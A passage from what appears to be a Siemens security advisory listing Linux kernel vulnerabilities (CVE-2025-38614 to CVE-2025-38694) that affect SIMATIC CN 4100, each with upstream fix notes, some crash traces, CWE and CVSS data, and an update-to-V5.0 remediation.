class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38614\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: eventpoll: Fix semi-unbounded recursion Ensure that epoll instances can never form a graph deeper than EP_MAX_NESTS+1 links. Currently, ep_loop_check_proc() ensures that the graph is loop-free and does some recursion depth checks, but those recursion depth checks don't limit the depth of the resulting tree for two reasons: - They don't look upwards in the tree. - If there are multiple downwards paths of different lengths, only one of the paths is actually considered for the depth check since commit 28d82dc1c4ed (\"epoll: limit paths\"). Essentially, the current recursion depth check in ep_loop_check_proc() just serves to prevent it from recursing too deeply while checking for loops. A more thorough check is done in reverse_path_check() after the new graph edge has already been created; this checks, among other things, that no paths going upwards from any non-epoll file with a length of more than 5 edges exist. However, this check does not apply to non-epoll files. As a result, it is possible to recurse to a depth of at least roughly 500, tested on v6.15. (I am unsure if deeper recursion is possible; and this may have changed with commit 8c44dac8add7 (\"eventpoll: Fix priority inversion problem\").) To fix it: 1. In ep_loop_check_proc(), note the subtree depth of each visited node, and use subtree depths for the total depth calculation even when a subtree has already been visited. 2. Add ep_get_upwards_depth_proc() for similarly determining the maximum depth of an upwards walk. 3. In ep_loop_check(), use these values to limit the total path length between epoll nodes to EP_MAX_NESTS edges.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-674 Uncontrolled Recursion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38670\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: arm64/entry: Mask DAIF in cpu_switch_to(), call_on_irq_stack() `cpu_switch_to()` and `call_on_irq_stack()` manipulate SP to change to different stacks along with the Shadow Call Stack if it is enabled. Those two stack changes cannot be done atomically and both functions can be interrupted by SErrors or Debug Exceptions which, though unlikely, is very much broken : if interrupted, we can end up with mismatched stacks and Shadow Call Stack leading to clobbered stacks. In `cpu_switch_to()`, it can happen when SP_EL0 points to the new task, but x18 stills points to the old task's SCS. When the interrupt handler tries to save the task's SCS pointer, it will save the old task SCS pointer (x18) into the new task struct (pointed to by SP_EL0), clobbering it. In `call_on_irq_stack()`, it can happen when switching from the task stack to the IRQ stack and when switching back. In both cases, we can be interrupted when the SCS pointer points to the IRQ SCS, but SP points to the task stack. The nested interrupt handler pushes its return addresses on the IRQ SCS. It then detects that SP points to the task stack, calls `call_on_irq_stack()` and clobbers the task SCS pointer with the IRQ SCS pointer, which it will also use ! This leads to tasks returning to addresses on the wrong SCS, or even on the IRQ SCS, triggering kernel panics via CONFIG_VMAP_STACK or FPAC if enabled. This is possible on a default config, but unlikely. However, when enabling CONFIG_ARM64_PSEUDO_NMI, DAIF is unmasked and instead the GIC is responsible for filtering what interrupts the CPU should receive based on priority. Given the goal of emulating NMIs, pseudo-NMIs can be received by the CPU even in `cpu_switch_to()` and `call_on_irq_stack()`, possibly *very* frequently depending on the system configuration and workload, leading to unpredictable kernel panics. Completely mask DAIF in `cpu_switch_to()` and restore it when returning. Do the same in `call_on_irq_stack()`, but restore and mask around the branch. Mask DAIF even if CONFIG_SHADOW_CALL_STACK is not enabled for consistency of behaviour between all configurations. Introduce and use an assembly macro for saving and masking DAIF, as the existing one saves but only masks IF.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38676\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iommu/amd: Avoid stack buffer overflow from kernel cmdline While the kernel command line is considered trusted in most environments, avoid writing 1 byte past the end of \"acpiid\" if the \"str\" argument is maximum length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-805 Buffer Access with Incorrect Length Value\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38677\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: f2fs: fix to avoid out-of-boundary access in dnode page As Jiaming Zhang reported: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x1c1/0x2a0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0x17e/0x800 mm/kasan/report.c:480 kasan_report+0x147/0x180 mm/kasan/report.c:593 data_blkaddr fs/f2fs/f2fs.h:3053 [inline] f2fs_data_blkaddr fs/f2fs/f2fs.h:3058 [inline] f2fs_get_dnode_of_data+0x1a09/0x1c40 fs/f2fs/node.c:855 f2fs_reserve_block+0x53/0x310 fs/f2fs/data.c:1195 prepare_write_begin fs/f2fs/data.c:3395 [inline] f2fs_write_begin+0xf39/0x2190 fs/f2fs/data.c:3594 generic_perform_write+0x2c7/0x910 mm/filemap.c:4112 f2fs_buffered_write_iter fs/f2fs/file.c:4988 [inline] f2fs_file_write_iter+0x1ec8/0x2410 fs/f2fs/file.c:5216 new_sync_write fs/read_write.c:593 [inline] vfs_write+0x546/0xa90 fs/read_write.c:686 ksys_write+0x149/0x250 fs/read_write.c:738 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xf3/0x3d0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f The root cause is in the corrupted image, there is a dnode has the same node id w/ its inode, so during f2fs_get_dnode_of_data(), it tries to access block address in dnode at offset 934, however it parses the dnode as inode node, so that get_dnode_addr() returns 360, then it tries to access page address from 360 + 934 * 4 = 4096 w/ 4 bytes. To fix this issue, let's add sanity check for node id of all direct nodes during f2fs_get_dnode_of_data().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38679\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: venus: Fix OOB read due to missing payload bound check Currently, The event_seq_changed() handler processes a variable number of properties sent by the firmware. The number of properties is indicated by the firmware and used to iterate over the payload. However, the payload size is not being validated against the actual message length. This can lead to out-of-bounds memory access if the firmware provides a property count that exceeds the data available in the payload. Such a condition can result in kernel crashes or potential information leaks if memory beyond the buffer is accessed. Fix this by properly validating the remaining size of the payload before each property access and updating bounds accordingly as properties are parsed. This ensures that property parsing is safely bounded within the received message buffer and protects against malformed or malicious firmware behavior.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38680\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: uvcvideo: Fix 1-byte out-of-bounds read in uvc_parse_format() The buffer length check before calling uvc_parse_format() only ensured that the buffer has at least 3 bytes (buflen > 2), buf the function accesses buffer[3], requiring at least 4 bytes. This can lead to an out-of-bounds read if the buffer has exactly 3 bytes. Fix it by checking that the buffer has at least 4 bytes in uvc_parse_format().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38681\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/ptdump: take the memory hotplug lock inside ptdump_walk_pgd() Memory hot remove unmaps and tears down various kernel page table regions as required. The ptdump code can race with concurrent modifications of the kernel page tables. When leaf entries are modified concurrently, the dump code may log stale or inconsistent information for a VA range, but this is otherwise not harmful. But when intermediate levels of kernel page table are freed, the dump code will continue to use memory that has been freed and potentially reallocated for another purpose. In such cases, the ptdump code may dereference bogus addresses, leading to a number of potential problems. To avoid the above mentioned race condition, platforms such as arm64, riscv and s390 take memory hotplug lock, while dumping kernel page table via the sysfs interface /sys/kernel/debug/kernel_page_tables. Similar race condition exists while checking for pages that might have been marked W+X via /sys/kernel/debug/kernel_page_tables/check_wx_pages which in turn calls ptdump_check_wx(). Instead of solving this race condition again, let's just move the memory hotplug lock inside generic ptdump_check_wx() which will benefit both the scenarios. Drop get_online_mems() and put_online_mems() combination from all existing platform ptdump code paths.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-366 Race Condition within a Thread\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38683\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hv_netvsc: Fix panic during namespace deletion with VF The existing code move the VF NIC to new namespace when NETDEV_REGISTER is received on netvsc NIC. During deletion of the namespace, default_device_exit_batch() >> default_device_exit_net() is called. When netvsc NIC is moved back and registered to the default namespace, it automatically brings VF NIC back to the default namespace. This will cause the default_device_exit_net() >> for_each_netdev_safe loop unable to detect the list end, and hit NULL ptr: [ 231.449420] mana 7870:00:00.0 enP30832s1: Moved VF to namespace with: eth0 [ 231.449656] BUG: kernel NULL pointer dereference, address: 0000000000000010 [ 231.450246] #PF: supervisor read access in kernel mode [ 231.450579] #PF: error_code(0x0000) - not-present page [ 231.450916] PGD 17b8a8067 P4D 0 [ 231.451163] Oops: Oops: 0000 [#1] SMP NOPTI [ 231.451450] CPU: 82 UID: 0 PID: 1394 Comm: kworker/u768:1 Not tainted 6.16.0-rc4+ #3 VOLUNTARY [ 231.452042] Hardware name: Microsoft Corporation Virtual Machine/Virtual Machine, BIOS Hyper-V UEFI Release v4.1 11/21/2024 [ 231.452692] Workqueue: netns cleanup_net [ 231.452947] RIP: 0010:default_device_exit_batch+0x16c/0x3f0 [ 231.453326] Code: c0 0c f5 b3 e8 d5 db fe ff 48 85 c0 74 15 48 c7 c2 f8 fd ca b2 be 10 00 00 00 48 8d 7d c0 e8 7b 77 25 00 49 8b 86 28 01 00 00 <48> 8b 50 10 4c 8b 2a 4c 8d 62 f0 49 83 ed 10 4c 39 e0 0f 84 d6 00 [ 231.454294] RSP: 0018:ff75fc7c9bf9fd00 EFLAGS: 00010246 [ 231.454610] RAX: 0000000000000000 RBX: 0000000000000002 RCX: 61c8864680b583eb [ 231.455094] RDX: ff1fa9f71462d800 RSI: ff75fc7c9bf9fd38 RDI: 0000000030766564 [ 231.455686] RBP: ff75fc7c9bf9fd78 R08: 0000000000000000 R09: 0000000000000000 [ 231.456126] R10: 0000000000000001 R11: 0000000000000004 R12: ff1fa9f70088e340 [ 231.456621] R13: ff1fa9f70088e340 R14: ffffffffb3f50c20 R15: ff1fa9f7103e6340 [ 231.457161] FS: 0000000000000000(0000) GS:ff1faa6783a08000(0000) knlGS:0000000000000000 [ 231.457707] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 231.458031] CR2: 0000000000000010 CR3: 0000000179ab2006 CR4: 0000000000b73ef0 [ 231.458434] Call Trace: [ 231.458600] [ 231.458777] ops_undo_list+0x100/0x220 [ 231.459015] cleanup_net+0x1b8/0x300 [ 231.459285] process_one_work+0x184/0x340 To fix it, move the ns change to a workqueue, and take rtnl_lock to avoid changing the netdev list when default_device_exit_net() is using it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-820 Missing Synchronization\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.2\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38684\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net/sched: ets: use old 'nbands' while purging unused classes Shuang reported sch_ets test-case [1] crashing in ets_class_qlen_notify() after recent changes from Lion [2]. The problem is: in ets_qdisc_change() we purge unused DWRR queues; the value of 'q->nbands' is the new one, and the cleanup should be done with the old one. The problem is here since my first attempts to fix ets_qdisc_change(), but it surfaced again after the recent qdisc len accounting fixes. Fix it purging idle DWRR queues before assigning a new value of 'q->nbands', so that all purge operations find a consistent configuration: - old 'q->nbands' because it's needed by ets_class_find() - old 'q->nstrict' because it's needed by ets_class_is_strict() BUG: kernel NULL pointer dereference, address: 0000000000000000 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page PGD 0 P4D 0 Oops: Oops: 0000 [#1] SMP NOPTI CPU: 62 UID: 0 PID: 39457 Comm: tc Kdump: loaded Not tainted 6.12.0-116.el10.x86_64 #1 PREEMPT(voluntary) Hardware name: Dell Inc. PowerEdge R640/06DKY5, BIOS 2.12.2 07/09/2021 RIP: 0010:__list_del_entry_valid_or_report+0x4/0x80 Code: ff 4c 39 c7 0f 84 39 19 8e ff b8 01 00 00 00 c3 cc cc cc cc 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa <48> 8b 17 48 8b 4f 08 48 85 d2 0f 84 56 19 8e ff 48 85 c9 0f 84 ab RSP: 0018:ffffba186009f400 EFLAGS: 00010202 RAX: 00000000000000d6 RBX: 0000000000000000 RCX: 0000000000000004 RDX: ffff9f0fa29b69c0 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffffffffc12c2400 R08: 0000000000000008 R09: 0000000000000004 R10: ffffffffffffffff R11: 0000000000000004 R12: 0000000000000000 R13: ffff9f0f8cfe0000 R14: 0000000000100005 R15: 0000000000000000 FS: 00007f2154f37480(0000) GS:ffff9f269c1c0000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000000 CR3: 00000001530be001 CR4: 00000000007726f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 PKRU: 55555554 Call Trace: ets_class_qlen_notify+0x65/0x90 [sch_ets] qdisc_tree_reduce_backlog+0x74/0x110 ets_qdisc_change+0x630/0xa40 [sch_ets] __tc_modify_qdisc.constprop.0+0x216/0x7f0 tc_modify_qdisc+0x7c/0x120 rtnetlink_rcv_msg+0x145/0x3f0 netlink_rcv_skb+0x53/0x100 netlink_unicast+0x245/0x390 netlink_sendmsg+0x21b/0x470 ____sys_sendmsg+0x39d/0x3d0 ___sys_sendmsg+0x9a/0xe0 __sys_sendmsg+0x7a/0xd0 do_syscall_64+0x7d/0x160 entry_SYSCALL_64_after_hwframe+0x76/0x7e RIP: 0033:0x7f2155114084 Code: 89 02 b8 ff ff ff ff eb bb 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 80 3d 25 f0 0c 00 00 74 13 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 54 c3 0f 1f 00 48 83 ec 28 89 54 24 1c 48 89 RSP: 002b:00007fff1fd7a988 EFLAGS: 00000202 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 0000560ec063e5e0 RCX: 00007f2155114084 RDX: 0000000000000000 RSI: 00007fff1fd7a9f0 RDI: 0000000000000003 RBP: 00007fff1fd7aa60 R08: 0000000000000010 R09: 000000000000003f R10: 0000560ee9b3a010 R11: 0000000000000202 R12: 00007fff1fd7aae0 R13: 000000006891ccde R14: 0000560ec063e5e0 R15: 00007fff1fd7aad0 [1] https://lore.kernel.org/netdev/e08c7f4a6882f260011909a868311c6e9b54f3e4.1639153474.git.dcaratti@redhat.com/ [2] https://lore.kernel.org/netdev/d912cbd7-193b-4269-9857-525bee8bbb6a@gmail.com/\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.2\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38685\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fbdev: Fix vmalloc out-of-bounds write in fast_imageblit This issue triggers when a userspace program does an ioctl FBIOPUT_CON2FBMAP by passing console number and frame buffer number. Ideally this maps console to frame buffer and updates the screen if console is visible. As part of mapping it has to do resize of console according to frame buffer info. if this resize fails and returns from vc_do_resize() and continues further. At this point console and new frame buffer are mapped and sets display vars. Despite failure still it continue to proceed updating the screen at later stages where vc_data is related to previous frame buffer and frame buffer info and display vars are mapped to new frame buffer and eventully leading to out-of-bounds write in fast_imageblit(). This bheviour is excepted only when fg_console is equal to requested console which is a visible console and updates screen with invalid struct references in fbcon_putcs().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38687\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: fix race between polling and detaching syzbot reports a use-after-free in comedi in the below link, which is due to comedi gladly removing the allocated async area even though poll requests are still active on the wait_queue_head inside of it. This can cause a use-after-free when the poll entries are later triggered or removed, as the memory for the wait_queue_head has been freed. We need to check there are no tasks queued on any of the subdevices' wait queues before allowing the device to be detached by the `COMEDI_DEVCONFIG` ioctl. Tasks will read-lock `dev->attach_lock` before adding themselves to the subdevice wait queue, so fix the problem in the `COMEDI_DEVCONFIG` ioctl handler by write-locking `dev->attach_lock` before checking that all of the subdevices are safe to be deleted. This includes testing for any sleepers on the subdevices' wait queues. It remains locked until the device has been detached. This requires the `comedi_device_detach()` function to be refactored slightly, moving the bulk of it into new function `comedi_device_detach_locked()`. Note that the refactor of `comedi_device_detach()` results in `comedi_device_cancel_all()` now being called while `dev->attach_lock` is write-locked, which wasn't the case previously, but that does not matter. Thanks to Jens Axboe for diagnosing the problem and co-developing this patch.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38691\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: pNFS: Fix uninited ptr deref in block/scsi layout The error occurs on the third attempt to encode extents. When function ext_tree_prepare_commit() reallocates a larger buffer to retry encoding extents, the \"layoutupdate_pages\" page array is initialized only after the retry loop. But ext_tree_free_commitdata() is called on every iteration and tries to put pages in the array, thus dereferencing uninitialized pointers. An additional problem is that there is no limit on the maximum possible buffer_size. When there are too many extents, the client may create a layoutcommit that is larger than the maximum possible RPC size accepted by the server. During testing, we observed two typical scenarios. First, one memory page for extents is enough when we work with small files, append data to the end of the file, or preallocate extents before writing. But when we fill a new large file without preallocating, the number of extents can be huge, and counting the number of written extents in ext_tree_encode_commit() does not help much. Since this number increases even more between unlocking and locking of ext_tree, the reallocated buffer may not be large enough again and again.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-908 Use of Uninitialized Resource\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38693\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: dvb-frontends: w7090p: fix null-ptr-deref in w7090p_tuner_write_serpar and w7090p_tuner_read_serpar In w7090p_tuner_write_serpar, msg is controlled by user. When msg[0].buf is null and msg[0].len is zero, former checks on msg[0].buf would be passed. If accessing msg[0].buf[2] without sanity check, null pointer deref would happen. We add check on msg[0].len to prevent crash. Similar commit: commit 0ed554fd769a (\"media: dvb-usb: az6027: fix null-ptr-deref in az6027_i2c_xfer()\")\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38694\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: dvb-frontends: dib7090p: fix null-ptr-deref in dib7090p_rw_on_apb() In dib7090p_rw_on_apb, msg is controlled by user. When msg[0].buf is null and msg[0].len is zero, former checks on msg[0].buf would be passed. If accessing msg[0].buf[2] without sanity check, null pointer deref would happen. We add check on msg[0].len to prevent crash. Similar issue occurs when access msg[1].buf[0] and msg[1].buf[1]. Similar commit: commit 0ed554fd769a (\"media: dvb-usb: az6027: fix null-ptr-deref in az6027_i2c_xfer()\")\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div 